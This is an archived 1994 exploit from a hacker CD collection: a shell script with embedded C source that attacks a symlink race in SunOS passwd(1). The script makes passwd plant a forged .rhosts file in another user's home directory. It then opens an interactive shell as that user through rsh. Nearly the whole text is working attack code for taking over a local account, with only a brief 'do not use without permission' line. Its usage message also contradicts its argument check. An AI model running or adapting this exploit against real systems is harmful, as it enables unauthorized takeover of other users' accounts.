For Beginners & Professional Hackers/cd.iso/hackers/exploits/sunos/sun-pa~1.asc

Text File | 1997-03-11 | 4.9 KB | 205 lines

#!/bin/sh

#

# Syntax: passwdscript target-user

#

# This exploits a flaw in SunOS passwd(1), and attempts

# to become the specified 'user', by creating a .rhosts

# file and using rsh.

#

# Written 1994 by [8LGM]

# Please do not use this script without permission.

#

PATH=/usr/ucb:/usr/bin:/bin      export PATH

IFS=" "                          export IFS



PROG="`basename $0`"



# Check args

if [ $# -ne 1 ]; then

        echo "Syntax: $PROG user target-file rsh-user"

        exit 1

fi

TARGET_USER="$1"



# Check we're on SunOS

if [ "x`uname -s`" != "xSunOS" ]; then

        echo "Sorry, this only works on SunOS"

        exit 1

fi



# Make the race program

cat >passwdrace.c << 'EOF'

#include <sys/types.h>

#include <sys/stat.h>

#include <unistd.h>

#include <fcntl.h>

#include <stdio.h>

#include <signal.h>

#include <pwd.h>





main(argc, argv)

int argc;

char *argv[];

{

        FILE    *passwd_in, *passwd_out;

    int    race_child_pid = -1;

    struct    stat st;

    struct    passwd *pw;

    char    pwd_link[256], pwd_dir[256], pwd_file[256], ptmp[256],

        buf[1024], cmd[256], nowhere[256], nowhere2[256],

        dir[256];



    if (argc != 2) {

        fprintf(stderr, "Usage: %s target-user\n",

            argv[0]);

        exit(1);

    }



    /*

     * Get Target User info

     */

    if ((pw = getpwnam(argv[1])) == NULL) {

        fprintf(stderr, "%s: user \"%s\" doesnt seem to exist.\n",

            argv[0], argv[1]);

        exit(1);

    }

    strcpy(dir, pw->pw_dir);



    /*

     * Set up names for directories/links we will access

     */

    sprintf(pwd_link, "/tmp/passwd-link.%d", getpid());

    sprintf(pwd_dir, "/tmp/passwd-dir.%d", getpid());

    sprintf(nowhere, "/tmp/passwd-nowhere.%d", getpid());

    sprintf(nowhere2, "/tmp/passwd-nowhere2.%d", getpid());

    sprintf(ptmp, "%s/ptmp", dir);

    symlink(pwd_dir, pwd_link);



    /*

     * Build temp password file in /tmp/passwd-dir.$$/.rhosts.

     * The bigger our 'passwd file', the longer passwd(1) takes

     * to write it out, the greater chance we have of noticing

     * it doing so and winning the race.

     */

    mkdir(pwd_dir, 0700);

    sprintf(pwd_file, "%s/.rhosts", pwd_dir);

    if ((passwd_out = fopen(pwd_file, "w+")) == NULL) {

        fprintf(stderr, "Cant open %s!\n", pwd_file);

        exit(1);

    }

    if ((passwd_in = fopen("/etc/passwd", "r")) == NULL) {

        fprintf(stderr, "Cant open /etc/passwd\n");

        exit(1);

    }

    if ((pw = getpwuid(getuid())) == NULL) {

        fprintf(stderr, "Who are you?\n");

        exit(1);

    }

    fprintf(passwd_out, "localhost %s ::::::\n", pw->pw_name);

    for (;;) {

        fseek(passwd_in, 0L, SEEK_SET);

        while(fgets(buf, sizeof(buf), passwd_in))

            fputs(buf, passwd_out);

        if (ftell(passwd_out) > 32768)

            break;

    }

    fclose(passwd_in);

    fflush(passwd_out);



    /*

     * Fork a new process.  In the parent, run passwd -F.

     * In the child, run the race process(es).

     */

    if ((race_child_pid = fork()) < 0) {

        perror("fork");

        exit(1);

    }

    if (race_child_pid) {

        /*

         * Parent - run passwd -F

         */

        sprintf(pwd_file, "%s/.rhosts", pwd_link);

        puts("Wait until told you see \"Enter your password now!\"");

        sprintf(cmd, "/usr/bin/passwd -F %s", pwd_file);

        system(cmd);

        kill(race_child_pid, 9);

        exit(0);

    } else {

        /*

         * Child

         */

        int fd = fileno(passwd_out);

        time_t last_access;



        /*

         * Remember the current 'last accessed'

         * time for our password file.  Once this

         * changes it, we know passwd(1) is reading

         * it, and we can switch the symlink.

         */

        if (fstat(fd, &st)) {

            perror("fstat");

            exit(1);

        }

        last_access = st.st_atime;



        /*

         * Give passwd(1) a chance to start up.

         * and do its initialisations.  Hopefully

         * by now, its asked the user for their

         * password.

         */

        sleep(5);

        write(0, "Enter your password now!\n",

              sizeof("Enter your password now!\n"));



        /*

         * Link our directory to our target directory

         */

        unlink(pwd_link);

        symlink(dir, pwd_link);



        /*

         * Create two links pointing to nowhere.

         * We use rename(2) to switch these in later.

         * (Using unlink(2)/symlink(2) is too slow).

         */

        symlink(pwd_dir, nowhere);

        symlink(dir, nowhere2);



        /*

         * Wait until ptmp exists in our target

         * dir, then switch the link.

         */

        while ((open(ptmp, O_RDONLY)==-1));

        rename(nowhere, pwd_link);



        /*

         * Wait until passwd(1) has accessed our

         * 'password file', then switch the link.

         */

        while (last_access == st.st_atime)

            fstat(fd, &st);

        rename(nowhere2, pwd_link);

    }

}

EOF

cc -O -o passwdrace passwdrace.c



# Check we now have passwdrace

if [ ! -x "passwdrace" ]; then

        echo "$PROG: couldnt compile passwdrace.c - check it out"

        exit 1

fi



# Start passwdrace

./passwdrace $TARGET_USER



# Try to rsh

rsh localhost -l $TARGET_USER sh -i

exit 0